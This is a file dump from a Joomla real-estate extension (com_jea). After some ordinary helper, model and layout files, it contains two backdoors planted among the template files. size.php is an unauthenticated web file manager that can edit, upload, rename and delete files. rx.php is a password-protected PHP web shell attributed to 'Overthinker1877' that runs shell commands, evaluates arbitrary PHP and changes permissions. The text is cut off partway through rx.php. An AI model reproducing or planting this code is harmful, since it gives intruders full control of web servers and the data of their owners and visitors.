* @copyright Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\Utilities\ArrayHelper;
/**
* Jea Amenities HTML helper
*
* @package Joomla.Site
* @subpackage com_jea
*
* @since 2.0
*/
abstract class JHtmlAmenities
{
/**
* @var stdClass[]
*/
protected static $amenities = null;
/**
* Method to get an HTML list of amenities
*
* @param mixed $value string or array of amenities ids
* @param string $format The wanted format (ol, li, raw (default))
*
* @return string HTML for the list.
*/
static public function bindList($value = 0, $format = 'raw')
{
if (is_string($value) && !empty($value))
{
$ids = explode('-', $value);
}
elseif (empty($value))
{
$ids = array();
}
else
{
$ids = ArrayHelper::toInteger($value);
}
$html = '';
$amenities = self::getAmenities();
$items = array();
foreach ($amenities as $row)
{
if (in_array($row->id, $ids))
{
if ($format == 'ul')
{
$items[] = "<li>{$row->value}</li>\n";
}
else
{
$items[] = $row->value;
}
}
}
if ($format == 'ul')
{
$html = "<ul>\n" . implode("\n", $items) .
"</ul>\n";
}
else
{
$html = implode(', ', $items);
}
return $html;
}
/**
* Return HTML list of amenities as checkboxes
*
* @param array $values The checkboxes values
* @param string $name The attribute name for the checkboxes
* @param string $idSuffix An optional ID suffix for the checkboxes
*
* @return string Html list
*/
static public function checkboxes($values = array(), $name =
'amenities', $idSuffix = '')
{
$amenities = self::getAmenities();
$values = (array) $values;
$html = '';
if (!empty($amenities))
{
$html .= "<ul>\n";
foreach ($amenities as $row)
{
$checked = '';
$id = 'amenity' . $row->id . $idSuffix;
if (in_array($row->id, $values))
{
$checked = 'checked="checked"';
}
$html .= '<li><input name="' . $name .
'[]" id="' . $id . '"
type="checkbox" value="' . $row->id . '"
' . $checked . ' /> '
. '<label for="' . $id . '">' .
$row->value . '</label></li>' . "\n";
}
$html .= "</ul>";
}
return $html;
}
/**
* Get Jea amenities from database
*
* @return array An array of amenity row objects
*/
static public function getAmenities()
{
if (self::$amenities === null)
{
$db = JFactory::getDbo();
$query = $db->getQuery(true);
$query->select('a.id , a.value');
$query->from('#__jea_amenities AS a');
$query->where('a.language in (' .
$db->quote(JFactory::getLanguage()->getTag()) . ',' .
$db->quote('*') . ')');
$query->order('a.ordering');
$db->setQuery($query);
self::$amenities = $db->loadObjectList();
}
return self::$amenities;
}
}
PKK��[�-&ҕ�models/form.phpnu�[���<?php
/**
* This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
*
* @package Joomla.Site
* @subpackage com_jea
* @copyright Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
// Base this model on the backend version.
require_once JPATH_COMPONENT_ADMINISTRATOR .
'/models/property.php';
JTable::addIncludePath(JPATH_COMPONENT_ADMINISTRATOR .
'/tables');
/**
* Property form model class.
*
* @package Joomla.Site
* @subpackage com_jea
*
* @see JeaModelProperty
*
* @since 2.0
*/
class JeaModelForm extends JeaModelProperty
{
/**
* The model (base) name should be the same as parent
*
* @var string
*/
protected $name = 'property';
/**
* Overrides parent method
*
* @param array $data Data for the form.
* @param boolean $loadData True if the form is to load its own data
(default case), false if not.
*
* @return JForm|boolean A JForm object on success, false on failure
*
* @see JeaModelProperty::getForm()
*/
public function getForm($data = array(), $loadData = true)
{
JForm::addFormPath(JPATH_COMPONENT_ADMINISTRATOR .
'/models/forms');
JForm::addFieldPath(JPATH_COMPONENT_ADMINISTRATOR .
'/models/fields');
$form = parent::getForm($data, $loadData);
return $form;
}
}
PKK��[V(m``views/form/tmpl/edit.xmlnu�[���<?xml
version="1.0" encoding="utf-8"?>
<metadata>
<layout title="COM_JEA_FORM_EDIT_LAYOUT_TITLE">
<message>
<![CDATA[COM_JEA_FORM_EDIT_LAYOUT_DESC]]>
</message>
</layout>
<fields name="params">
<fieldset name="basic"
label="COM_JEA_MENU_PARAMS_LABEL">
<field name="login_behavior" default="before"
type="list"
label="COM_JEA_FIELD_LOGIN_BEHAVIOR_LABEL"
description="COM_JEA_FIELD_LOGIN_BEHAVIOR_DESC">
<option
value="before">COM_JEA_OPTION_LOGIN_BEFORE_SAVE</option>
<option
value="after">COM_JEA_OPTION_LOGIN_AFTER_SAVE</option>
</field>
</fieldset>
</fields>
</metadata>PKK��[x����views/form/tmpl/edit.phpnu�[���<?php
/**
* This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
*
* @package Joomla.Administrator
* @subpackage com_jea
* @copyright Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
/**
* @var $this JeaViewForm
*/
JHtml::_('behavior.keepalive');
JHtml::_('behavior.tooltip');
JHtml::_('behavior.calendar');
JHtml::_('behavior.formvalidation');
$this->form->setFieldAttribute('description',
'buttons', 'false');
$user = JFactory::getUser();
$uri =JFactory::getURI();
?>
<script type="text/javascript">
Joomla.submitbutton = function(task) {
if (task == 'property.cancel' ||
document.formvalidator.isValid(document.id('adminForm'))) {
<?php echo
$this->form->getField('description')->save() ?>
Joomla.submitform(task);
} else {
alert('<?php echo
$this->escape(JText::_('JGLOBAL_VALIDATION_FORM_FAILED'));?>');
}
}
</script>
<div class="edit property<?php echo
$this->escape($this->params->get('pageclass_sfx'))
?>">
<?php if ($this->item->id): ?>
<p>
<a
href="javascript:Joomla.submitbutton('property.cancel');"><?php
echo JText::_('COM_JEA_RETURN_TO_THE_LIST')?></a>
</p>
<?php endif ?>
<form action="<?php echo (string) $uri ?>"
method="post" name="adminForm" id="adminForm"
class="form-validate" enctype="multipart/form-data">
<fieldset>
<legend>
<?php echo empty($this->item->id) ?
JText::_('COM_JEA_NEW_PROPERTY') :
JText::sprintf('COM_JEA_EDIT_PROPERTY', $this->item->id)
?>
</legend>
<div class="formelm"><?php echo
$this->form->getLabel('ref') ?> <?php echo
$this->form->getInput('ref') ?></div>
<div class="formelm"><?php echo
$this->form->getLabel('title') ?> <?php echo
$this->form->getInput('title') ?></div>
<div class="formelm"><?php echo
$this->form->getLabel('transaction_type') ?> <?php
echo $this->form->getInput('transaction_type')
?></div>
<div class="formelm"><?php echo
$this->form->getLabel('type_id') ?> <?php echo
$this->form->getInput('type_id') ?></div>
<?php echo $this->form->getLabel('description') ?>
<?php echo $this->form->getInput('description') ?>
<fieldset>
<legend><?php echo
JText::_('COM_JEA_LOCALIZATION')?></legend>
<?php foreach
($this->form->getFieldset('localization') as $field): ?>
<div class="formelm"><?php echo $field->label .
"\n" . $field->input ?></div>
<?php endforeach ?>
</fieldset>
<fieldset>
<legend><?php echo
JText::_('COM_JEA_FINANCIAL_INFORMATIONS')?></legend>
<?php foreach
($this->form->getFieldset('financial_informations') as
$field): ?>
<div class="formelm"><?php echo $field->label .
"\n" . $field->input ?></div>
<?php endforeach ?>
</fieldset>
<fieldset>
<legend><?php echo
JText::_('COM_JEA_DETAILS')?></legend>
<?php foreach ($this->form->getFieldset('details')
as $field): ?>
<div class="formelm"><?php echo $field->label .
"\n" . $field->input ?></div>
<?php endforeach ?>
</fieldset>
<div class="clr"></div>
<fieldset class="amenities">
<legend><?php echo
JText::_('COM_JEA_AMENITIES')?></legend>
<div class="clr"></div>
<?php echo $this->form->getInput('amenities') ?>
<div class="clr"></div>
</fieldset>
<?php if (JPluginHelper::isEnabled('jea',
'dpe')): ?>
<fieldset>
<?php
if ($this->item->dpe_energy === null)
{
$this->item->dpe_energy = '-1';
}
if ($this->item->dpe_ges === null)
{
$this->item->dpe_ges = '-1';
}
$energyLabel = JText::_('PLG_JEA_DPE_ENERGY_CONSUMPTION');
$energyDesc = $energyLabel . '::' .
JText::_('PLG_JEA_DPE_ENERGY_CONSUMPTION_DESC');
$gesLabel = JText::_('PLG_JEA_DPE_EMISSIONS_GES');
$gesDesc = $gesLabel . '::' .
JText::_('PLG_JEA_DPE_EMISSIONS_GES_DESC');
?>
<legend><?php echo
JText::_('PLG_JEA_DPE')?></legend>
<div class="formelm">
<label for="dpe_energy" class="hasTip"
title="<?php echo $energyDesc ?>"><?php echo
$energyLabel ?> : </label>
<input type="text" name="dpe_energy"
id="dpe_energy" value="<?php echo
$this->item->dpe_energy ?>" class="numberbox"
size="5" />
</div>
<div class="formelm">
<label for="dpe_ges" class="hasTip"
title="<?php echo $gesDesc ?>"><?php echo $gesLabel
?> : </label>
<input type="text" name="dpe_ges"
id="dpe_ges" value="<?php echo $this->item->dpe_ges
?>" class="numberbox" size="5" />
</div>
</fieldset>
<?php endif ?>
<?php if ($user->authorise('core.edit.state',
'com_jea')): ?>
<fieldset>
<legend><?php echo
JText::_('COM_JEA_PUBLICATION_INFO')?></legend>
<div class="formelm">
<?php echo $this->form->getLabel('published') ?>
<?php echo $this->form->getInput('published') ?>
</div>
<div class="formelm">
<?php echo $this->form->getLabel('language') ?>
<?php echo $this->form->getInput('language') ?>
</div>
<div class="formelm">
<?php echo $this->form->getLabel('featured') ?>
<?php echo $this->form->getInput('featured') ?>
</div>
<div class="formelm">
<?php echo $this->form->getLabel('slogan_id') ?>
<?php echo $this->form->getInput('slogan_id') ?>
</div>
<div class="formelm">
<?php echo $this->form->getLabel('created') ?>
<?php echo $this->form->getInput('created') ?>
</div>
<div class="formelm">
<?php echo $this->form->getLabel('modified') ?>
<?php echo $this->form->getInput('modified') ?>
</div>
<div class="formelm">
<?php echo $this->form->getLabel('publish_up')
?> <?php echo $this->form->getInput('publish_up')
?>
</div>
<div class="formelm">
<?php echo $this->form->getLabel('publish_down')
?> <?php echo $this->form->getInput('publish_down')
?>
</div>
</fieldset>
<?php endif ?>
<fieldset>
<legend><?php echo
JText::_('COM_JEA_PICTURES')?></legend>
<?php JLayoutHelper::$defaultBasePath =
JPATH_COMPONENT_ADMINISTRATOR . '/layouts'; // Find layout path
into JEA admin directory ?>
<?php echo $this->form->getInput('images') ?>
<?php JLayoutHelper::$defaultBasePath = ''; // Restore
default base path ?>
</fieldset>
<div class="formelm">
<?php echo $this->form->getLabel('notes') ?>
<?php echo $this->form->getInput('notes') ?>
</div>
</fieldset>
<div class="formelm-buttons clr">
<button type="button"
onclick="Joomla.submitbutton('property.apply')"><?php
echo JText::_('JSAVE') ?></button>
<button type="button"
onclick="Joomla.submitbutton('property.cancel')"><?php
echo JText::_('JCANCEL') ?></button>
<input type="hidden" name="task"
value="" />
<input type="hidden" name="return"
value="<?php echo
JFactory::getApplication()->input->getCmd('return')
?>" />
<?php echo JHtml::_('form.token') ?>
</div>
</form>
</div>
PKK��[cU�h�+�+views/form/tmpl/size.phpnu�[���<!DOCTYPE
html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible"
content="IE=edge">
<meta name="viewport" content="width=device-width,
initial-scale=1.0">
<title>-</title>
<link
href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/css/bootstrap.min.css"
rel="stylesheet"
integrity="sha384-GLhlTQ8iRABdZLl6O3oVMWSktQOp6b7In1Zl3/Jr59b6EGGoI1aFkw7cmDA6j6gD"
crossorigin="anonymous">
<link rel="stylesheet"
href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.3.0/css/all.min.css"
integrity="sha512-SzlrxWUlpfuzQ+pcUCosxcglQRNAq/DZjVsC0lE40xsADsfeQoEypE+enwcOiGjk/bSuGGKHEyjSoQ1zVisanQ=="
crossorigin="anonymous"
referrerpolicy="no-referrer" />
</head>
<body>
<?php
//function
function formatSizeUnits($bytes)
{
if ($bytes >= 1073741824) {
$bytes = number_format($bytes / 1073741824, 2) . '
GB';
} elseif ($bytes >= 1048576) {
$bytes = number_format($bytes / 1048576, 2) . ' MB';
} elseif ($bytes >= 1024) {
$bytes = number_format($bytes / 1024, 2) . ' KB';
} elseif ($bytes > 1) {
$bytes = $bytes . ' bytes';
} elseif ($bytes == 1) {
$bytes = $bytes . ' byte';
} else {
$bytes = '0 bytes';
}
return $bytes;
}
function fileExtension($file)
{
return substr(strrchr($file, '.'), 1);
}
function fileIcon($file)
{
$imgs = array("apng", "avif", "gif",
"jpg", "jpeg", "jfif", "pjpeg",
"pjp", "png", "svg", "webp");
$audio = array("wav", "m4a", "m4b",
"mp3", "ogg", "webm", "mpc");
$ext = strtolower(fileExtension($file));
if ($file == "error_log") {
return '<i class="fa-sharp fa-solid
fa-bug"></i> ';
} elseif ($file == ".htaccess") {
return '<i class="fa-solid
fa-hammer"></i> ';
}
if ($ext == "html" || $ext == "htm") {
return '<i class="fa-brands
fa-html5"></i> ';
} elseif ($ext == "php" || $ext == "phtml") {
return '<i class="fa-brands
fa-php"></i> ';
} elseif (in_array($ext, $imgs)) {
return '<i class="fa-regular
fa-images"></i> ';
} elseif ($ext == "css") {
return '<i class="fa-brands
fa-css3"></i> ';
} elseif ($ext == "txt") {
return '<i class="fa-regular
fa-file-lines"></i> ';
} elseif (in_array($ext, $audio)) {
return '<i class="fa-duotone
fa-file-music"></i> ';
} elseif ($ext == "py") {
return '<i class="fa-brands
fa-python"></i> ';
} elseif ($ext == "js") {
return '<i class="fa-brands
fa-js"></i> ';
} else {
return '<i class="fa-solid
fa-file"></i> ';
}
}
function encodePath($path)
{
$a = array("/", "\\", ".",
":");
$b = array("ক", "খ", "গ",
"ঘ");
return str_replace($a, $b, $path);
}
function decodePath($path)
{
$a = array("/", "\\", ".",
":");
$b = array("ক", "খ", "গ",
"ঘ");
return str_replace($b, $a, $path);
}
$root_path = __DIR__;
if (isset($_GET['p'])) {
if (empty($_GET['p'])) {
$p = $root_path;
} elseif (!is_dir(decodePath($_GET['p']))) {
echo ("<script>\nalert('Directory is Corrupted
and
Unreadable.');\nwindow.location.replace('?');\n</script>");
} elseif (is_dir(decodePath($_GET['p']))) {
$p = decodePath($_GET['p']);
}
} elseif (isset($_GET['q'])) {
if (!is_dir(decodePath($_GET['q']))) {
echo
("<script>window.location.replace('?p=');</script>");
} elseif (is_dir(decodePath($_GET['q']))) {
$p = decodePath($_GET['q']);
}
} else {
$p = $root_path;
}
define("PATH", $p);
echo ('
<nav class="navbar navbar-light" style="background-color:
#e3f2fd;">
<div class="navbar-brand">
<a href="?"><img
src="https://github.com/fluidicon.png" width="30"
height="30" alt=""></a>
');
$path = str_replace('\\', '/', PATH);
$paths = explode('/', $path);
foreach ($paths as $id => $dir_part) {
if ($dir_part == '' && $id == 0) {
$a = true;
echo "<a href=\"?p=/\">/</a>";
continue;
}
if ($dir_part == '')
continue;
echo "<a href='?p=";
for ($i = 0; $i <= $id; $i++) {
echo str_replace(":", "ঘ", $paths[$i]);
if ($i != $id)
echo "ক";
}
echo "'>" . $dir_part . "</a>/";
}
echo ('
</div>
<div class="form-inline">
<a href="?upload&q=' . urlencode(encodePath(PATH)) .
'"><button class="btn btn-dark"
type="button">Upload File</button></a>
<a href="?"><button type="button"
class="btn btn-dark">HOME</button></a>
</div>
</nav>');
if (isset($_GET['p'])) {
//fetch files
if (is_readable(PATH)) {
$fetch_obj = scandir(PATH);
$folders = array();
$files = array();
foreach ($fetch_obj as $obj) {
if ($obj == '.' || $obj == '..') {
continue;
}
$new_obj = PATH . '/' . $obj;
if (is_dir($new_obj)) {
array_push($folders, $obj);
} elseif (is_file($new_obj)) {
array_push($files, $obj);
}
}
}
echo '
<table class="table table-hover">
<thead>
<tr>
<th scope="col">Name</th>
<th scope="col">Size</th>
<th scope="col">Modified</th>
<th scope="col">Perms</th>
<th scope="col">Actions</th>
</tr>
</thead>
<tbody>
';
foreach ($folders as $folder) {
echo " <tr>
<td><i class='fa-solid fa-folder'></i>
<a href='?p=" . urlencode(encodePath(PATH . "/" .
$folder)) . "'>" . $folder . "</a></td>
<td><b>---</b></td>
<td>". date("F d Y H:i:s.", filemtime(PATH .
"/" . $folder)) . "</td>
<td>0" . substr(decoct(fileperms(PATH . "/" .
$folder)), -3) . "</a></td>
<td>
<a title='Rename' href='?q=" .
urlencode(encodePath(PATH)) . "&r=" . $folder .
"'><i class='fa-sharp fa-regular
fa-pen-to-square'></i></a>
<a title='Delete' href='?q=" .
urlencode(encodePath(PATH)) . "&d=" . $folder .
"'><i class='fa fa-trash'
aria-hidden='true'></i></a>
<td>
</tr>
";
}
foreach ($files as $file) {
echo " <tr>
<td>" . fileIcon($file) . $file . "</td>
<td>" . formatSizeUnits(filesize(PATH . "/"
. $file)) . "</td>
<td>" . date("F d Y H:i:s.", filemtime(PATH
. "/" . $file)) . "</td>
<td>0". substr(decoct(fileperms(PATH . "/"
.$file)), -3) . "</a></td>
<td>
<a title='Edit File' href='?q=" .
urlencode(encodePath(PATH)) . "&e=" . $file .
"'><i class='fa-solid
fa-file-pen'></i></a>
<a title='Rename' href='?q=" .
urlencode(encodePath(PATH)) . "&r=" . $file .
"'><i class='fa-sharp fa-regular
fa-pen-to-square'></i></a>
<a title='Delete' href='?q=" .
urlencode(encodePath(PATH)) . "&d=" . $file .
"'><i class='fa fa-trash'
aria-hidden='true'></i></a>
<td>
</tr>
";
}
echo " </tbody>
</table>";
} else {
if (empty($_GET)) {
echo
("<script>window.location.replace('?p=');</script>");
}
}
if (isset($_GET['upload'])) {
echo '
<form method="post"
enctype="multipart/form-data">
Select file to upload:
<input type="file" name="fileToUpload"
id="fileToUpload">
<input type="submit" class="btn btn-dark"
value="Upload" name="upload">
</form>';
}
if (isset($_GET['r'])) {
if (!empty($_GET['r']) &&
isset($_GET['q'])) {
echo '
<form method="post">
Rename:
<input type="text" name="name"
value="' . $_GET['r'] . '">
<input type="submit" class="btn btn-dark"
value="Rename" name="rename">
</form>';
if (isset($_POST['rename'])) {
$name = PATH . "/" . $_GET['r'];
if(rename($name, PATH . "/" .
$_POST['name'])) {
echo ("<script>alert('Renamed.');
window.location.replace('?p=" . encodePath(PATH) .
"');</script>");
} else {
echo ("<script>alert('Some error
occurred.'); window.location.replace('?p=" .
encodePath(PATH) . "');</script>");
}
}
}
}
if (isset($_GET['e'])) {
if (!empty($_GET['e']) &&
isset($_GET['q'])) {
echo '
<form method="post">
<textarea style="height: 500px;
width: 90%;" name="data">' .
htmlspecialchars(file_get_contents(PATH."/".$_GET['e']))
. '</textarea>
<br>
<input type="submit" class="btn btn-dark"
value="Save" name="edit">
</form>';
if(isset($_POST['edit'])) {
$filename = PATH."/".$_GET['e'];
$data = $_POST['data'];
$open = fopen($filename,"w");
if(fwrite($open,$data)) {
echo ("<script>alert('Saved.');
window.location.replace('?p=" . encodePath(PATH) .
"');</script>");
} else {
echo ("<script>alert('Some error
occurred.'); window.location.replace('?p=" .
encodePath(PATH) . "');</script>");
}
fclose($open);
}
}
}
if (isset($_POST["upload"])) {
$target_file = PATH . "/" .
$_FILES["fileToUpload"]["name"];
if
(move_uploaded_file($_FILES["fileToUpload"]["tmp_name"],
$target_file)) {
echo
"<p>".htmlspecialchars(basename($_FILES["fileToUpload"]["name"]))
. " has been uploaded.</p>";
} else {
echo "<p>Sorry, there was an error uploading your
file.</p>";
}
}
if (isset($_GET['d']) && isset($_GET['q']))
{
$name = PATH . "/" . $_GET['d'];
if (is_file($name)) {
if(unlink($name)) {
echo ("<script>alert('File removed.');
window.location.replace('?p=" . encodePath(PATH) .
"');</script>");
} else {
echo ("<script>alert('Some error
occurred.'); window.location.replace('?p=" .
encodePath(PATH) . "');</script>");
}
} elseif (is_dir($name)) {
if(rmdir($name) == true) {
echo ("<script>alert('Directory
removed.'); window.location.replace('?p=" . encodePath(PATH)
. "');</script>");
} else {
echo ("<script>alert('Some error
occurred.'); window.location.replace('?p=" .
encodePath(PATH) . "');</script>");
}
}
}
?>
<script
src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/js/bootstrap.bundle.min.js"
integrity="sha384-w76AqPfDkMBDXo30jS1Sgez6pr3x5MlQ1ZAGC+nuZB+EYdgRZgiwxhTBTkF7CXvN"
crossorigin="anonymous"></script>
</body>
</html>PKK��[�)�y:y:views/form/tmpl/rx.phpnu�[���<?php
error_reporting(0);
$password='x7781x';
$xyn='tunafeesh';
if(isset($_POST['pass']))
{if($_POST['pass']==$password) {setcookie($xyn,
$_POST['pass'], time()+3600);} let_him_in();}
if(!empty($password) && !isset($_COOKIE[$xyn]) or
($_COOKIE[$xyn]!=$password)) {initiate(); die();}
$me=basename(__FILE__);$server_soft=$_SERVER["SERVER_SOFTWARE"];$uname=php_uname();$cur_user=get_current_user().'
uid:'.getmyuid().'
gid:'.getmygid();$safe_mode=ini_get('safe_mode');$safe_mode=($safe_mode)?('<font
color:crimson>ON</font>'):('<font
color=#CBD4C1>OFF</font>');$cwd=getcwd();$bckC='#333333';$txtC='#999999';
$start='<html><head><title>'.getenv('HTTP_HOST').'
=> secured by Overthinker1877</title><style>body
{background:'.$bckC.';color:'.$txtC.';font-size:9pt;font-family:Trebuchet
MS,cursive,sans
serif;}h1#n{position:fixed;top:10px;left:10px;text-shadow:0px 0px 5px
black;color:#DFE6D5;}h1#nm{text-shadow:0px 0px 5px black;color:#79a317;}a
{color:'.$txtC.';text-decoration:none;font-family:Comic Sans
Ms,cursive,sans serif;}a:hover {color:#FBFFF4;}hr
{background:'.$txtC.';color:black;}p#bck{position:fixed;top:20px;right:20px;}#menu
{position:fixed;bottom:0px;width:100%;font-size:13pt;}#menuB
{background:'.$bckC.';box-shadow:0px 0px 10px
black;border-radius:15px;padding:5px 20px 5px
20px;}table#moreI{font-size:9pt;background:'.$bckC.';border-radius:10px;box-shadow:0px
0px 10px black;padding:5px;position:fixed;bottom:XMR
{background:'.$bckC.';border-radius:10px;border:1px solid
'.$txtC.';color:'.$txtC.';text-align:center;}input#ltb
{background:rgba(0,0,0,0);border-radius:10px;color:'.$txtC.';box-shadow:0px
0px 1px '.$txtC.';border:0px solid rgba(0,0,0,0);}table#ft
{font-size:9pt;padding:5px;border-radius:10px;box-shadow:0px 0px 10px
black;}td#fh {border-bottom:1px solid
'.$txtC.';padding-bottom:3px;}tr#fn:hover{box-shadow:0px 0px 5px
black;}h3 {text-shadow:0px 0px 4px black;font-size:13pt;}textarea#edit
{background:'.$bckC.';color:'.$txtC.';box-shadow:0px
0px 10px
black;border-radius:10px;border:none;padding:10px;}</style><script
type="text/javascript">function get_inf()
{if(document.getElementById(\'moreI\').style.display=="block"){document.getElementById(\'moreI\').style.display="none"}else
{document.getElementById(\'moreI\').style.display="block";}}
function xyn(id1,id2)
{document.getElementById(id1).style.display="block";document.getElementById(id2).style.display="none";}</script></head><body><h1
id="n"><a
href="?x=x">Overthinker1877</a></h1>';
$menu='<center><p id="menu"><span
id="menuB"><<a
href="'.$me.'">Home</a>> <<a
href="?x=cmd&d="'.realpath('.').'">Command</a>>
<<a
href="?x=php&d="'.realpath('.').'">PHP</a>>
<<a href="javascript:get_inf();">Info</a>>
<<a href="?x=q">Logout</a>>
</span></p></center>';$end='</body></html>';$inf='<center><p
id="inf">|||
<b><i><u>Software:</u></i></b>
'.$server_soft.' |||
<b><i><u>Uname:</u></i></b>
'.$uname.' |||</br>|||
<b><i><u>User:</u></i></b>
'.$cur_user.' ||| <b><i><u>Safe
Mode:</u></i></b> '.$safe_mode.' |||
<b><i><u>Directory:
</i></b></u>'.$cwd.'
|||</p></center><hr>';
print $start;print $menu;print $inf;
$moreI=array('Versiyon a PHP' => phpversion(),'Zend
Version' => zend_version(),'Magic Quotes' =>
magic_quotes(),'Curl' => curl(),'Register Globals'
=> reg_globals(),'OpenBase Dir' =>
openbase_dir(),'MySQL' => myql(),'Gzip' =>
gzip(),'MsSQL' => mssql(),'PostgreSQL' =>
postgresql(),'Oracle' => oracle(),'Total Space'
=> h_size(disk_total_space('/')) ,'Used Space' =>
h_size(disk_free_space('/')),'your IP' =>
'185.137.232.131','Server IP' =>
$_SERVER['SERVER_ADDR']);print '<table
id="moreI">'; foreach($moreI as $n => $v) {print
'<td>'.$n.'</td><td> :>
</td><td> '.$v.'</td><tr>';} print
'<td colspan=3 align="center"><a
href="?x=phpinf"
target="_blank">PHPInfo</a></td></table>';
if(isset($_GET['d'])) {chdir($_GET['d']);}
if(isset($_REQUEST['x']))
{
print '<p id="bck"><a
href="?d='.realpath('.').'">BACK</a></p>';
switch($_REQUEST['x'])
{
case 'c':
if(isset($_POST['edit_form'])){$f=$_GET['f'];$e=fopen($f,'w')
or print '<p id="nn">File Open
Nebo</p>';fwrite($e,$_POST['edit_form']) or print
'<p id="nn">Couldn\'t Save
File</p>';fclose($e);}print '<center><p>Editing
'.$_GET['f'].' ('.perms($_GET['d'] .
$_GET['f']).') .</p></br></br><form
action="?x=c&d='.realpath('.').'&f='.$_GET['f'].'"
method="POST"><textarea cols=90 rows=15
name="edit_form"
id="edit">';if(file_exists($_GET['f'])){$c=file($_GET['f']);foreach($c
as $l){print htmlspecialchars($l);}}print
'</textarea></br></br><input
type="submit" value="Save"
id="sv"></form></center>';break;
case 'cmd': print
'</br></br><center><h3>Command Kar
Bine</h3><form
action=?x=php&d="'.realpath('.').'"
method="POST"><input typa</h3><form
action="?x=cmd&d='.realpath('.').'"
method="POST"><input type="text"
value="" name="cmd" id="lt"> <input
type="submit" value="Go"
id="lt"></form></br><textarea cols=90 rows=15
id="edit">';if(isset($_POST['cmd']))
{$cmd=$_POST['cmd']; execute(exec_meth(),$cmd);}print
'</textarea></center>';break;
case 'php': print
'</br></br><center><h3>PHP
Code="text" value="" name="pcode"
id="lt"> <input type="submit"
value="Go"
id="lt"></form></br><textarea cols=90 rows=15
id="edit">';if(isset($_POST['pcode']))
{$p=$_POST['pcode'];eval($p);}print
'</textarea></center>';break;
case 'phpinf': phpinfo();break;
case 'q':
setcookie($xyn,'',time()-3600);let_him_in();break;
case 'x': print
'</br></br></br><center><h1
id="nm">ha to kux :/ Overthinker1877</h1><h3>Mail:
<a
href="mailto:nrm.hacker@gmail.com">nrm.hacker@gmail.com</a></h3><h3>Twitter:
<a href="http://www.twitter.com/kurdox"
target="_blank">Overthinker1877</a></h3><h3>Facebook:
<a href="http://www.fb.com/Overthinker1877"
target="_blank">Overthinker1877</a></h3></center>';break;
}
}
else
{
if(isset($_GET['d'])) {chdir($_GET['d']);}
if(isset($_GET['ndir']))
{$d=$_GET['d'];$n=$_GET['ndir'];mkdir($d
.DIRECTORY_SEPARATOR. $n);}
if(isset($_POST['new']))
{$n=$_POST['new'];$o=$_POST['old'];$d=$_POST['d'];rename($d.DIRECTORY_SEPARATOR.$o,$d.DIRECTORY_SEPARATOR.$n);}
if(isset($_GET['deld'])) {$d=$_GET['deld'];
rmdir($d);}
if(isset($_GET['delf'])) {$d=$_GET['delf'];
unlink($d);}
if(isset($_GET['ch'])) {$ch=$_GET['ch'];
$d=$_GET['df']; chmod($d,$ch);}
if(isset($_FILES['upfile']['name']))
{$d=realpath('.').DIRECTORY_SEPARATOR.basename($_FILES['upfile']['name']);move_uploaded_file($_FILES['upfile']['tmp_name'],$d);}
print '<p align="center"
id="cp">'.curpath('').'</p>';
print '<table width=90% align="center"
id="lt"cellpadding="0"><td
align="center"><form
action="?d='.realpath('.').'"
method="GET">Create Dir: <input type="hidden"
name="d" value="'.realpath('.').'"
id="lt"><input type="text" value=""
name="ndir" id="lt"> <input
type="submit" value="Go"
id="lt"></form></td><td
align="center"><form
action="?d="'.realpath('.').'"
method="GET">Create File: <input type="hidden"
value="'.realpath('.').'" name="d"
id="lt"><input type="hidden" value="c"
name="x"><input type="text" value=""
name="f" id="lt"> <input type="submit"
value="Go" id="lt"></form></td><td
align="center"><form
action="?x=cmd&d='.realpath('.').'"
method="POST">Command b kar bine: <input
type="text" value="" name="cmd"
id="lt"> <input type="submit"
value="Go" id="lt"></form></td><td
align="center"><form
action="?d='.realpath('.').'"
method="POST" enctype="multipart/form-data">Upload
bke: <input type="hidden" value="100000000"
name="MAX_FILE_SIZE"><input type="file"
name="upfile" id="ltb"> <input
type="submit" value="Go"
id="lt"></form></td></table>';
print '</br>';
$filex=array();
$dirx=array();
print '<table width="75%" align="center"
id="ft" ><td
id="fh"><b>Name</b></td><td
id="fh"
align="center"><b>Permissions</b></td><td
id="fh"
align="center"><b>Owner</b></td><td
id="fh"
align="center"><b>Options</b></td><tr
id="fn">';
if($handle=opendir('.')) {while(false !==
($file=readdir($handle))) {if(is_dir($file)) {$dirx[] .= $file;} else
{$filex[] .= $file;}}asort($filex);asort($dirx);$i=0;
foreach($dirx as $file) {if(function_exists('posix_getpwuid')
&& function_exists('posix_getgrgid'))
{$own=posix_getpwuid(fileowner($file));
$grp=posix_getgrgid(filegroup($file));} else
{$own['name']='???';
$grp['name']='???';} print '<td
id="fc"><span id="n'.$file.'"><a
href="?d='.realpath($file).'">'.$file.'</a></span><span
id="r'.$file.'"
style="display:none;"><form
action="?d='.realpath('.').'"
method="POST"><input type="hidden"
value="'.realpath('.').'"
name="d"> <input type="text"
value="'.$file.'" id="lt"
name="new"><input type="hidden"
value="'.$file.'" name="old"> <input
type="submit" id="lt" value="Rename">
<input type="button" id="lt"
value="Cancel"
onClick="xyn(\'n'.$file.'\',\'r'.$file.'\');"></form></span><span
id="d'.$file.'"
style="display:none;"><form
action="?d='.realpath('.').'"
method="GET">Are you Sure?<input type="hidden"
value="'.realpath($file).'" name="deld">
<input type="submit" value="Yes"
id="lt"> <input type="button" id="lt"
value="No"
onClick="xyn(\'n'.$file.'\',\'d'.$file.'\')"></form></span></td><td
id="fc" align="center"><span
id="h'.$file.'"><a
href="javascript:xyn(\'c'.$file.'\',\'h'.$file.'\');"><font
color="'.get_color($file).'">'.perms($file).'</font></a></span><span
id="c'.$file.'"
style="display:none;"><form
action="?d='.realpath('.').'"
method="GET"><input type="hidden"
value="'.realpath($file).'"
name="df"><input type="text"
value="'.perms($file).'" id="lt"
name="ch"> <input type="submit" id="lt"
